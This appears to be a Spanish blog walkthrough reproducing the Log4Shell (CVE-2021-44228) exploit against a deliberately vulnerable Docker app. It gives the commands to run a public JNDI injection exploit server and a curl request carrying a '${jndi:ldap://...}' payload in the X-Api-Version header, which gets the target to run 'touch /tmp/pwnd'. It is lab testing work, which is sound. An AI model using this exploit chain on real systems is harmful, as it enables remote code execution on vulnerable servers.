POC log4j exploit.
Introducción
Recientemente ha salido a la luz la vulnerabilidad CVE-2021-44228. Muchos de los posts explican cómo comprobar si eres vulnerable, vamos a ir un paso más allá y probar algún exploit público.
Preparando el entorno.
Existe un docker creado por «christopherd» que levanta una aplicación vulnerable, perfecto para hacer pruebas sin afectar a nadie.
sudo docker run --rm -p 8080:8080 --name POC ghcr.io/christophetd/log4shell-vulnerable-app
Por otro lado necesitaremos ejecutar el exploit y para ello necesitamos un servidor al que nuestra aplicación tenga acceso por red. El exploit que utilizaremos se encuentra en el siguiente enlace:
https://github.com/welk1n/JNDI-Injection-Exploit
Para que funcione correctamente lo ejecutaremos dentro del contenedor docker openjdk.
sudo docker run -it -p 8180:8180 -p 1099:1099 -p 1389:1389 -v $(pwd):/data/exploit --name java openjdk:latest /bin/sh
Una vez dentro del contenedor ejecutamos el exploit. En concreto, haremos que el exploit cree el fichero «pwnd» dentro del directorio tmp, para ello ejecutaremos el siguiente comando.
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C «touch /tmp/pwnd» -A <IP>
Exploit desplegado](/static/blog/img/log4j_2.png)
Explotación
Ahora vamos a la parte divertida… Para ejecutar el exploit, el creador del contenedor vulnerable nos indica que tenemos que insertar el exploit como valor de la cabecera «X-Api-Version». Para ello vamos a utilizar el enlace que marca el exploit utilizado con el curl…
curl IP:8080 -H 'X-Api-Version: ${jndi:ldap://0.0.0.0:1389/ly7kts}'
Como podemos ver a continuación, el exploit nos ha indicado que ha recibido una conexión.
Pero… ¿qué ha provocado esta conexión? Bueno, si miramos los logs de la aplicación vulnerable podemos ver que fue nuestra aplicación la que envió el curl.
Finalmente si nuestro fichero ha sido creado vemos que nuestro comando ha sido ejecutado con éxito. Y como vemos a continuación :P :